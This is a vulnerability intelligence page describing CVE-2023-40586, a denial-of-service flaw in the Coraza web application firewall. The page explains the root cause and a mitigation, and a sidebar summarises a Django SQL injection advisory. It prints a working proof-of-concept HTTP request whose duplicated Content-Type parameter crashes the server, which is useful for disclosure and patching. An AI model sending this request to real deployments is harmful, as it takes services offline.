Patrowl Intel
Sign in
Back to feed

CVE-2023-40586

Published Jun 26, 2023

Summary

Coraza has potential denial of service vulnerability

Summary

Due to the misuse of log.Fatalf, the application using coraza crashed after receiving crafted requests from attackers.

Details

https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29
The bodyprocessors of multipart uses log.Fatalf to handle errors from the mime.ParseMediaType, but log.Fatalf calls os.Exit directly after logging the error.
https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291
This means that the application will immediately crash after receiving a malicious request that triggers an error in mime.ParseMediaType.

PoC

The server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server

After sending this request

POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: curl/8.1.2
Accept: */*
Content-Length: 199
Content-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2
Connection: close

--------------------------5fa6351b877326a1
Content-Disposition: form-data; name="file"; filename="123"
Content-Type: application/octet-stream

123

--------------------------5fa6351b877326a1--

The server will crash immediately. The a=1; a=2 in Content-Type makes mime: duplicate parameter name error.

Impact

I believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.

Mitigation

The error from mime.ParseMediaType should return directly.

Affected

Weaknesses

CWE-400

CVSS details

  • v3.17.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Impact

Exploits & references 0 exploits · 10 references

Timeline

  1. PublishedJun 26, 2023
  2. Scored by CISA SSVCOct 2, 2024

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticaltoday

Django - SQL Injection in range & in Lookups

Django is an open-source Python web framework. Its ORM builds SQL queries from model filters and lookups. CVE-2026-132092 Queries that use the `range` and `in` lookups are subject to SQL injection when they involve column aliases or key transforms containing percent signs. For `__range`, the flaw is reachable when more than two right-hand-side values are passed. For `__in`, it is reachable when a bilateral transform is used. Exploitation happens over the network through any application endpoint that passes attacker-controlled values into such a lookup. Affected versions are Django 6.1 before 6.1.4, 6.0 before 6.0.11, and 5.2 before 5.2.20, plus the main development branch. Earlier, unsupported series (5.1.x, 5.0.x and 4.2.x) were not evaluated and may also be affected. Fixed versions are 6.1.4, 6.0.11 and 5.2.20. The fix makes the `range` lookup require exactly two right-hand-side values. Percent signs in column aliases and key transforms have been deprecated since Django 6.0, with removal scheduled for 2028. The Django project rates the issue High severity. It was reported by Cristian Panaro.

Take 15 minutes to discover the Patrowl EASM platform with our experts

The intelligence behind this page, applied to your own exposure: your assets discovered, matched to these signals, prioritised by the same score.

  • European Investment Bank
  • MGEN Solution
  • Forvis Mazars
  • Colas
  • Heetch
  • Xplor
This month’s verdictsPaste yours